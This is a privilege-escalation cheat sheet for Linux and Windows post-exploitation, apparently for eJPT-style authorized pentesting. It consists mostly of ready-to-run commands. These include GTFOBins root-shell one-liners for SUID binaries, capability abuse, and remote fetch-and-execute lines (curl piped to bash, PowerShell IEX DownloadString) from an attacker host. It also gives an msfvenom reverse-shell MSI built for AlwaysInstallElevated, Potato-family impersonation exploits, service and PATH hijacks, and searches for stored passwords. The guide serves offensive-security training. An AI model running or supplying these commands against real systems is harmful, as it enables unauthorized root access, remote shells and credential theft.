A dedicated, checklist-style reference for turning a low-privilege shell into root/SYSTEM — the enumeration steps to run first, and the exact command for each common misconfiguration.
All techniques below are for use in authorized environments only — personal labs, CTFs, and engagements covered by written authorization (RoE).
id; hostname; uname -a
sudo -l
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -2000 -type f 2>/dev/null # SGID
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.daily 2>/dev/null
cat ~/.bash_history 2>/dev/null
getcap -r / 2>/dev/null
Or run an automated sweep once you’ve looked manually (don’t rely on it blindly):
curl http://LHOST:PORT/linpeas.sh | bash
Check every SUID hit against GTFOBins. Fast wins:
| Binary | Command |
|---|---|
find |
find . -exec /bin/sh -p \; -quit |
vim |
vim -c ':!/bin/sh' |
python3 |
python3 -c 'import os;os.execl("/bin/sh","sh","-p")' |
less/more |
!/bin/sh from within the pager |
cp |
overwrite /etc/passwd with a new root-equivalent entry |
sudo -l
Match the output against GTFOBins’ “sudo” column — most binaries listed with NOPASSWD: next to them have a documented one-liner to root.
ls -la on the script path).PATH hijack (see 1.6).uname -a # match against searchsploit / known CVEs
searchsploit linux kernel <version>
Common ones worth checking version against: Dirty COW (CVE-2016-5195), Dirty Pipe (CVE-2022-0847), PwnKit (CVE-2021-4034 — pkexec), Sudo Baron Samedit (CVE-2021-3156).
If a SUID binary or cron job calls another binary without an absolute path, and a writable directory appears earlier in $PATH:
echo $PATH
# place a malicious binary with the called name in a writable, earlier PATH entry
getcap -r / 2>/dev/null
cap_setuid+ep on python3, for example: python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
no_root_squashcat /etc/exports # if reachable
If an NFS share has no_root_squash, mount it from your attack box, create a SUID binary as root locally, then execute it from the target.
whoami /priv
whoami /groups
systeminfo
net user; net localgroup administrators
Or run an automated sweep:
IEX(New-Object Net.WebClient).DownloadString('http://LHOST/winPEAS.ps1')
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
If both are 1, generate a malicious MSI:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f msi -o evil.msi
Then: msiexec /quiet /qn /i evil.msi
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\"
A path like C:\Program Files\Some App\service.exe with no quotes lets you drop C:\Program.exe if that directory is writable.
accesschk.exe -uwcqv "Authenticated Users" *
Look for services where the current user can modify the binary path or restart the service.
schtasks /query /fo LIST /v
Check for tasks running as SYSTEM/admin that call a writable script or binary.
If whoami /priv shows SeImpersonatePrivilege enabled, use a Potato-family exploit:
# JuicyPotato / PrintSpoofer / RoguePotato depending on OS build
PrintSpoofer.exe -i -c cmd
dir /s /b *pass* == *.config *.xml *.txt 2>nul
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
findstr /si password *.xml *.ini *.txt 2>nul
systeminfo
Match the build number against known local privesc CVEs (use Watson or Sherlock to automate the comparison) — last resort if the above configuration checks come up empty.
Prepared for eJPT-aligned post-exploitation work. Use only in authorized environments.